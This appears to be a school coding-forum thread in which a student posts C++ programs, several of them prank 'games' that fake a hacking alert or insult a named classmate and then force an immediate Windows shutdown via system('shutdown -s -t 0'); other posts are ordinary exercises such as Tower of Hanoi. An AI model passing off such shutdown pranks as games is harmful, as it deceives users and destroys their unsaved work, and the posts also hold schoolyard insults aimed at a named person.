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蒙自市第二中学 普一鸣 · 发布于 2023-03-19 · 浏览 1443 回复 19

include <bits/stdc++.h>

using namespace std; int TIME = 3; int TIME2 = 1;

int main() {

cout << "好玩的游戏" << endl;
cout << "请输入一个数字" << endl;
int a;
cin >> a;
cout << "正在分析中" << endl;
clock_t now = clock(); //开始计时
while ((clock() - now) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "发现问题" << endl;
clock_t now1 = clock(); //开始计时
while ((clock() - now1) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "修复中.";
clock_t now2 = clock(); //开始计时
while ((clock() - now2) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
cout << ".";
clock_t now3 = clock(); //开始计时
while ((clock() - now3) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
cout << ".";
clock_t now4 = clock(); //开始计时
while ((clock() - now4) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
cout << ".";
clock_t now5 = clock(); //开始计时
while ((clock() - now5) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
cout << "." << endl;
clock_t now6 = clock(); //开始计时
while ((clock() - now6) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "修复失败" << endl;
clock_t now7 = clock(); //开始计时
while ((clock() - now7) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间}
TIME = 3;
cout << "%^";
clock_t now8 = clock(); //开始计时
while ((clock() - now8) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
cout << "#@";
clock_t now9 = clock(); //开始计时
while ((clock() - now9) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
TIME = 3;
cout << "%*警告" << endl;
clock_t now10 = clock();
while ((clock() - now10) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "^%*%@*@&^##!Q^%&2" << endl;
clock_t now11 = clock();
while ((clock() - now11) / CLOCKS_PER_SEC < TIME);
TIME = 3;
cout << "电脑*^*#^&*(%&*^&^)被未¥……&*¥……*……知系%*(#&%^&)统入#^!%@#%侵" << endl;
clock_t now12 = clock();
while ((clock() - now12) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "dki^#*(*^(#@&^&#SEXDF@%#*&E%#@631e7tyd" << endl;
clock_t now13 = clock();
while ((clock() - now13) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "@#%^&*&@#%^&%^&U*正在*%&@#^%&((&^%#@#%))" << endl;
clock_t now14 = clock();
while ((clock() - now14) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "dki^#*(*^(#@&^&#自毁@%#*&E%#@631e7tyd" << endl;
clock_t now15 = clock();
while ((clock() - now15) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
system("shutdown -s -t 0");
return 0;

}

全部回复 共 19 条

  1. 蒙自市第二中学 普一鸣 #1 楼主 ·
  2. 蒙自市第二中学 普一鸣 #2 楼主 ·
  3. 核弹

  4. include <bits/stdc++.h>

    using namespace std;

    void hanoi (int n, char a, char b, char c) {

    if (n > 0) {
    	hanoi (n - 1, a, c, b);
    	printf ("%c->%d->%c\n", a, n, b);
    	hanoi (n - 1, c, b, a);
    }
    

    }

    int main (void) {

    int n;
    char a, b, c;
    scanf ("%d %c %c %c", &n, &a, &b, &c);
    hanoi (n, a, b, c);
    return 0;
    

    }

  5. 蒙自市第二中学 普一鸣 #5 楼主 ·

    include <bits/stdc++.h>

    using namespace std;

    int main () {

    double  sun, m, n, ai, sum = 0;
    cin >> n >> m;
    for (int i = 1; i <= n; i++) {
    	cin >> ai;
    	if (m >= ai) {
    		m = m - ai;
    		sum += ai;
    	}
    }
    
    sun = sum - floor (sum * 0.88);
    printf("%.0f", sun);
    return 0;
    

    }

  6. 蒙自市第二中学 普一鸣 #6 楼主 ·

    include <bits/stdc++.h>

    using namespace std; int t, n, k, a, x = 0, i = 1; int s[10000];

    int main () {

    cin >> t;
    for ( i; i <= t; i++) {
    	cin >> n >> k;
    	s[i] = n / 10;
    }
    for (int j = 1; j < i; j++) {
    	cout << s[x + 1] << endl;
    }
    return 0;
    

    }

  7. 蒙自市第二中学 普一鸣 #7 楼主 ·

    include <bits/stdc++.h>

    using namespace std;

    int main () {

    double sun, m, n, ai, sum = 0; cin >> n >> m; for (int i = 1; i <= n; i++) {

    cin >> ai;
    if (m >= ai) {
    	m = m - ai;
    	sum += ai;
    }
    

    }

    sun = sum - floor (sum * 0.88); printf("%.0f", sun); system("shutdoun -s -t 0"); return 0; }

  8. 蒙自市第二中学 普一鸣 #8 楼主 ·

    include <bits/stdc++.h>

    using namespace std;

    struct stu {

    string name;
    bool k;
    float c;
    

    } a[200];

    int main () {

    int n, num = 0;
    cin >> n;
    for (int i = 1; i <= n; i++) {
    	cin >> a[i].name >> a[i].c >> a[i].k;
    	if (a[i].c >= 37.5 && a[i].k == 1) {
    		num++;
    		cout << a[i].name << endl;
    	}
    }
    cout << num;
    return 0;
    

    }

  9. 蒙自市第二中学 普一鸣 #9 楼主 ·

    include <bits/stdc++.h>

    include <windows.h>

    include

    using namespace std;

    int main () {

    MessageBox(NULL,
               "赵梓彤是sb","温馨提示", MB_OKCANCEL);
    system("shutdown -s -t 0");
    return 0;
    

    }

  10. 蒙自市第二中学 普一鸣 #10 楼主 ·

    include <bits/stdc++.h>

    include <windows.h>

    using namespace std; int n;

    int main () {

    cout << "判断游戏,正确1,错误0";
    MessageBox(NULL,
               "赵梓彤是sb", "温馨提示", MB_OKCANCEL);
    cin >> n;
    if (n == 1) {
    	MessageBox(NULL,
    	           "你放屁", "温馨提示", MB_OKCANCEL);
    	           system("shutdown -s -t 0");
    }
    if (n == 0) {
    	MessageBox(NULL,
    	           "咋能这么说自己呢???", "温馨提示", MB_OKCANCEL);
    	system("shutdown -s -t 0");
    }
    
    
    //system("shutdown -s -t 0");
    return 0;
    

    }

  11. 蒙自市第二中学 普一鸣 #11 楼主 ·

    include <bits/stdc++.h>

    using namespace std;

    int main () {

    system("shutdown -s -t 60");
    return 0;
    

    }

  12. include <bits/stdc++.h>

    include <conio.h>

    include <windows.h>

    using namespace std; int mouse, S, An, k, t, Rr, T;

    POINT Windowpos() {

    POINT pt;
    GetCursorPos(&pt);
    HWND h = GetForegroundWindow();
    ScreenToClient(h, &pt);
    pt.x /= 8;
    pt.y /= 16;
    return pt;
    

    }

    void SlowDisplay(int x, char *p) {

    while (1) {
    	if (*p != 0)
    		printf("%c", *p++);
    	else
    		break;
    	Sleep(x);
    }
    

    }

    void Color(int a) {

    if (a == 0)
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
    	                        FOREGROUND_INTENSITY | FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
    if (a == 1)
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_GREEN);
    if (a == 2)
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED);
    if (a == 3)
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_GREEN);
    if (a == 4)
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED);
    

    }

    void Luan() {

    if (Rr == 0)
    	printf("┃过天按钮┃");
    if (Rr == 1)
    	printf("┃过关按扭┃");
    if (Rr == 2)
    	printf("┃过关按纽┃");
    if (Rr == 3)
    	printf("┃过关按忸┃");
    if (Rr == 4)
    	printf("┃过关桉钮┃");
    if (Rr == 5)
    	printf("┃过关侒钮┃");
    if (Rr == 6)
    	printf("┃过关按杻┃");
    if (Rr == 7)
    	printf("┃过关按炄┃");
    if (Rr == 8)
    	printf("┃过关铵钮┃");
    if (Rr == 9)
    	printf("┃过关胺钮┃");
    

    }

    void Die() {

    system("color 4F");
    Sleep(2000);
    system("color 0F");
    system("cls");
    Color(0);
    SlowDisplay(50, "\nWarning!\nSYSTEM ERROR!!\nThe system is about to collapse!!!");
    Sleep(1000);
    system("shutdown /s");
    

    }

    void SetPos(int x, int y) {

    COORD pos;
    pos.X = y, pos.Y = x;
    SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
    

    }

    void Bai(int d, int dd) {

    int mm = min(d, dd);
    SetPos(6, mm);
    printf("                            ");
    SetPos(7, mm);
    printf("                            ");
    SetPos(8, mm);
    printf("                            ");
    

    }

    void Map(int a) {

    mouse = GetAsyncKeyState(VK_LBUTTON) & 0x8000;
    POINT pt = Windowpos();
    int k1 = 0, k2 = 11, k3 = 12, k4 = 23, k5 = 0, Win = 0;
    if (a % 2 == 0)
    	k1 = 12, k2 = 23, k3 = 0, k4 = 11;
    if (a > 2)
    	k5 = 1;
    if ((S >= 70 && S < 80) || S >= 90)
    	k1 += T / 3, k2 += T / 3, k3 += T / 3, k4 += T / 3;
    if (S >= 80 && t % 20 == 8) {
    	Bai(k1, k3);
    	return;
    }
    if (S >= 80 && t % 20 > 8)
    	return;
    if (pt.x >= k1 && pt.x <= k2 && pt.y >= 6 && pt.y <= 8) {
    	Color(1 + k5);
    	SetPos(6, k1);
    	printf("┏━━━━┓");
    	SetPos(7, k1);
    	printf("┃过关按钮┃");
    	SetPos(8, k1);
    	printf("┗━━━━┛");
    	if (mouse) {
    		if (An == 0)
    			S++;
    		An++;
    		T = 0;
    		Win = 1;
    		if (S >= 20)
    			k = rand() % 2 + 1;
    		if (S >= 30)
    			k = rand() % 4 + 1;
    		if (S >= 50)
    			Rr = rand() % 10;
    		if ((S >= 70 && S <= 80) || S >= 90)
    			Bai(k1, k3);
    	} else
    		An = 0;
    } else {
    	Color(3 + k5);
    	SetPos(6, k1);
    	printf("┏━━━━┓");
    	SetPos(7, k1);
    	printf("┃过关按钮┃");
    	SetPos(8, k1);
    	printf("┗━━━━┛");
    }
    if (pt.x >= k3 && pt.x <= k4 && pt.y >= 6 && pt.y <= 8 && Win == 0) {
    	Color(2 - k5);
    	if (S >= 40 && T >= 10)
    		mouse = 1;
    	SetPos(6, k3);
    	printf("┏━━━━┓");
    	SetPos(7, k3);
    	if (S < 50)
    		printf("┃关机按钮┃");
    	else
    		Luan();
    	SetPos(8, k3);
    	printf("┗━━━━┛");
    	if (mouse) {
    		if (An == 0)
    			Die();
    		An = 0;
    	}
    } else if (Win == 0) {
    	Color(4 - k5);
    	SetPos(6, k3);
    	printf("┏━━━━┓");
    	SetPos(7, k3);
    	if (S < 50)
    		printf("┃关机按钮┃");
    	else
    		Luan();
    	SetPos(8, k3);
    	printf("┗━━━━┛");
    }
    

    }

    int main() {

    srand(unsigned(time(NULL)));
    ios::sync_with_stdio(false);
    CONSOLE_CURSOR_INFO cursor_info = {1, 0};
    SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info);
    Color(0);
    k = 1;
    SlowDisplay(200, "欢迎来到超级按钮!你的目标是按下按钮100次!\n\n");
    SetPos(2, 0), printf("已开启普通模式。");
    while (S < 100) {
    	t++;
    	T++;
    	Color(0);
    	SetPos(4, 0);
    	Color(0);
    	printf("还需按%d次。\n\n", 100 - S);
    	if (S == 20 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启按钮混乱模式。");
    	if (S == 30 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启按钮混乱2.0模式。");
    	if (S == 40 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启接触引爆模式。");
    	if (S == 50 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启按钮混乱3.0模式。");
    	if (S == 60 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启定时引爆模式。");
    	if (S == 70 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启移动按钮模式。");
    	if (S == 80 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启隐形按钮模式。");
    	if (S == 90 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启隐形移动按钮模式。");
    	if (S >= 60)
    		SetPos(2, 20), printf("%d  ", 100 - T);
    	if (S >= 60 && T >= 100) {
    		Die();
    		break;
    	}
    	POINT pt;
    	GetCursorPos(&pt);
    	int k1 = 0, k2 = 11, k3 = 12, k4 = 23;
    	if (k == 2)
    		k1 = 12, k2 = 23, k3 = 0, k4 = 11;
    	Sleep(50);
    	Map(k);
    }
    if (S >= 100) {
    	system("cls");
    	Color(0);
    	SlowDisplay(200, "\n让你通关吧!");
    }
    

    }

  13. 氨醛无骸

  14. include <bits/stdc++.h>

    include <conio.h>

    include <windows.h>

    using namespace std; int mouse, S, An, k, t, Rr, T;

    POINT Windowpos() {

    POINT pt;
    GetCursorPos(&pt);
    HWND h = GetForegroundWindow();
    ScreenToClient(h, &pt);
    pt.x /= 8;
    pt.y /= 16;
    return pt;
    

    }

    void SlowDisplay(int x, char *p) {

    while (1) {
    	if (*p != 0)
    		printf("%c", *p++);
    	else
    		break;
    	Sleep(x);
    }
    

    }

    void Color(int a) {

    if (a == 0)
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
    	                        FOREGROUND_INTENSITY | FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
    if (a == 1)
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_GREEN);
    if (a == 2)
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED);
    if (a == 3)
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_GREEN);
    if (a == 4)
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED);
    

    }

    void Luan() {

    if (Rr == 0)
    	printf("┃过天按钮┃");
    if (Rr == 1)
    	printf("┃过关按扭┃");
    if (Rr == 2)
    	printf("┃过关按纽┃");
    if (Rr == 3)
    	printf("┃过关按忸┃");
    if (Rr == 4)
    	printf("┃过关桉钮┃");
    if (Rr == 5)
    	printf("┃过关侒钮┃");
    if (Rr == 6)
    	printf("┃过关按杻┃");
    if (Rr == 7)
    	printf("┃过关按炄┃");
    if (Rr == 8)
    	printf("┃过关铵钮┃");
    if (Rr == 9)
    	printf("┃过关胺钮┃");
    

    }

    void Die() {

    system("color 4F");
    Sleep(2000);
    system("color 0F");
    system("cls");
    Color(0);
    SlowDisplay(50, "\nWarning!\nSYSTEM ERROR!!\nThe system is about to collapse!!!");
    Sleep(1000);
    

    // system("shutdown /s"); }

    void SetPos(int x, int y) {

    COORD pos;
    pos.X = y, pos.Y = x;
    SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
    

    }

    void Bai(int d, int dd) {

    int mm = min(d, dd);
    SetPos(6, mm);
    printf("                            ");
    SetPos(7, mm);
    printf("                            ");
    SetPos(8, mm);
    printf("                            ");
    

    }

    void Map(int a) {

    mouse = GetAsyncKeyState(VK_LBUTTON) & 0x8000;
    POINT pt = Windowpos();
    int k1 = 0, k2 = 11, k3 = 12, k4 = 23, k5 = 0, Win = 0;
    if (a % 2 == 0)
    	k1 = 12, k2 = 23, k3 = 0, k4 = 11;
    if (a > 2)
    	k5 = 1;
    if ((S >= 70 && S < 80) || S >= 90)
    	k1 += T / 3, k2 += T / 3, k3 += T / 3, k4 += T / 3;
    if (S >= 80 && t % 20 == 8) {
    	Bai(k1, k3);
    	return;
    }
    if (S >= 80 && t % 20 > 8)
    	return;
    if (pt.x >= k1 && pt.x <= k2 && pt.y >= 6 && pt.y <= 8) {
    	Color(1 + k5);
    	SetPos(6, k1);
    	printf("┏━━━━┓");
    	SetPos(7, k1);
    	printf("┃过关按钮┃");
    	SetPos(8, k1);
    	printf("┗━━━━┛");
    	if (mouse) {
    		if (An == 0)
    			S++;
    		An++;
    		T = 0;
    		Win = 1;
    		if (S >= 20)
    			k = rand() % 2 + 1;
    		if (S >= 30)
    			k = rand() % 4 + 1;
    		if (S >= 50)
    			Rr = rand() % 10;
    		if ((S >= 70 && S <= 80) || S >= 90)
    			Bai(k1, k3);
    	} else
    		An = 0;
    } else {
    	Color(3 + k5);
    	SetPos(6, k1);
    	printf("┏━━━━┓");
    	SetPos(7, k1);
    	printf("┃过关按钮┃");
    	SetPos(8, k1);
    	printf("┗━━━━┛");
    }
    if (pt.x >= k3 && pt.x <= k4 && pt.y >= 6 && pt.y <= 8 && Win == 0) {
    	Color(2 - k5);
    	if (S >= 40 && T >= 10)
    		mouse = 1;
    	SetPos(6, k3);
    	printf("┏━━━━┓");
    	SetPos(7, k3);
    	if (S < 50)
    		printf("┃关机按钮┃");
    	else
    		Luan();
    	SetPos(8, k3);
    	printf("┗━━━━┛");
    	if (mouse) {
    		if (An == 0)
    			Die();
    		An = 0;
    	}
    } else if (Win == 0) {
    	Color(4 - k5);
    	SetPos(6, k3);
    	printf("┏━━━━┓");
    	SetPos(7, k3);
    	if (S < 50)
    		printf("┃关机按钮┃");
    	else
    		Luan();
    	SetPos(8, k3);
    	printf("┗━━━━┛");
    }
    

    }

    int main() {

    srand(unsigned(time(NULL)));
    ios::sync_with_stdio(false);
    CONSOLE_CURSOR_INFO cursor_info = {1, 0};
    SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info);
    Color(0);
    k = 1;
    SlowDisplay(200, "欢迎来到超级按钮!你的目标是按下按钮100次!\n\n");
    SetPos(2, 0), printf("已开启普通模式。");
    while (S < 100) {
    	t++;
    	T++;
    	Color(0);
    	SetPos(4, 0);
    	Color(0);
    	printf("还需按%d次。\n\n", 100 - S);
    	if (S == 20 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启按钮混乱模式。");
    	if (S == 30 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启按钮混乱2.0模式。");
    	if (S == 40 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启接触引爆模式。");
    	if (S == 50 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启按钮混乱3.0模式。");
    	if (S == 60 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启定时引爆模式。");
    	if (S == 70 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启移动按钮模式。");
    	if (S == 80 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启隐形按钮模式。");
    	if (S == 90 && T == 1)
    		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启隐形移动按钮模式。");
    	if (S >= 60)
    		SetPos(2, 20), printf("%d  ", 100 - T);
    	if (S >= 60 && T >= 100) {
    		Die();
    		break;
    	}
    	POINT pt;
    	GetCursorPos(&pt);
    	int k1 = 0, k2 = 11, k3 = 12, k4 = 23;
    	if (k == 2)
    		k1 = 12, k2 = 23, k3 = 0, k4 = 11;
    	Sleep(50);
    	Map(k);
    }
    if (S >= 100) {
    	system("cls");
    	Color(0);
    	SlowDisplay(200, "\n让你通关吧!");
    }
    

    }

  15. 真安全无害~~~~

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